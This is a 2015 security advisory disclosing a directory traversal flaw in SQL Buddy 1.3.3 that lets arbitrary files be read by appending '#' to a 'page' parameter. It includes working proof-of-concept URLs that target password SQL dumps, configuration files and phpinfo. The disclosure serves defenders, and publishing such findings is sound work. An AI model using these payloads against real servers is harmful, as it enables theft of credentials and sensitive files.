Sqlbuddy Directory Traversal Read Arbitrary Files Vulnerability. Vendor: http://www.sqlbuddy.com Release Date: ============= 05-08-2015 Source: ==================================== http://hyp3rlinx.altervista.org/advisories/AS-SQLBUDDY0508.txt Product: =============================== sqlbuddy version 1.3.3 SQL Buddy is an open source web based MySQL administration application. Advisory Information: ============================== sqlbuddy suffers from directory traversal whereby a user can move about directories an read any PHP and non PHP files by appending the '#' hash character when requesting files via URLs. e.g. .doc, .txt, .xml, .conf, .sql etc... After adding the '#' character as a delimiter any non PHP will be returned and rendered by subverting the .php concatenation used by sqlbuddy when requesting PHP pages via POST method. Normal sqlbuddy request: http://localhost/sqlbuddy/home.php?ajaxRequest=666&requestKey=<xxxxxxxxxx> POC exploit payloads: ======================= 1-Read from Apache restricted directory under htdocs: http://localhost/sqlbuddy/#page=../../../restricted/user_pwd.sql# 2-Read any arbitrary files that do not have .PHP extensions: http://localhost/sqlbuddy/#page=../../../directory/sensitive-file.conf# 3-Read phpinfo (no need for '#' as phpinfo is a PHP file): http://localhost/sectest/sqlbuddy/sqlbuddy/#page=../../../../xampp/phpinfo Disclosure Timeline: ================================== Vendor Notification N/A May 8, 2015: Public Disclosure - hyp3rlinx Exploitation Technique: ======================= Create a test file with non .php extension in some htdocs directory then request the page in the browser. http://localhost/sqlbuddy/sqlbuddy/#page=../../../test.txt# Severity Level: =============== High Description: ========================== Request Method(s): [+] POST Vulnerable Product: [+] sqlbuddy 1.3.3 Vulnerable Parameter(s): [+] #page=somefile Affected Area(s): [+] Server directories & sensitive files Solution - Fix & Patch: ======================= N/A Credits: John Page ( hyp3rlinx ) Disclaimer & Information: ========================= The information provided in this advisory is provided as it is without any warranty. the security research reporter John Page disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. apparitionsec or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages. Domains: hyp3rlinx.altervista.org
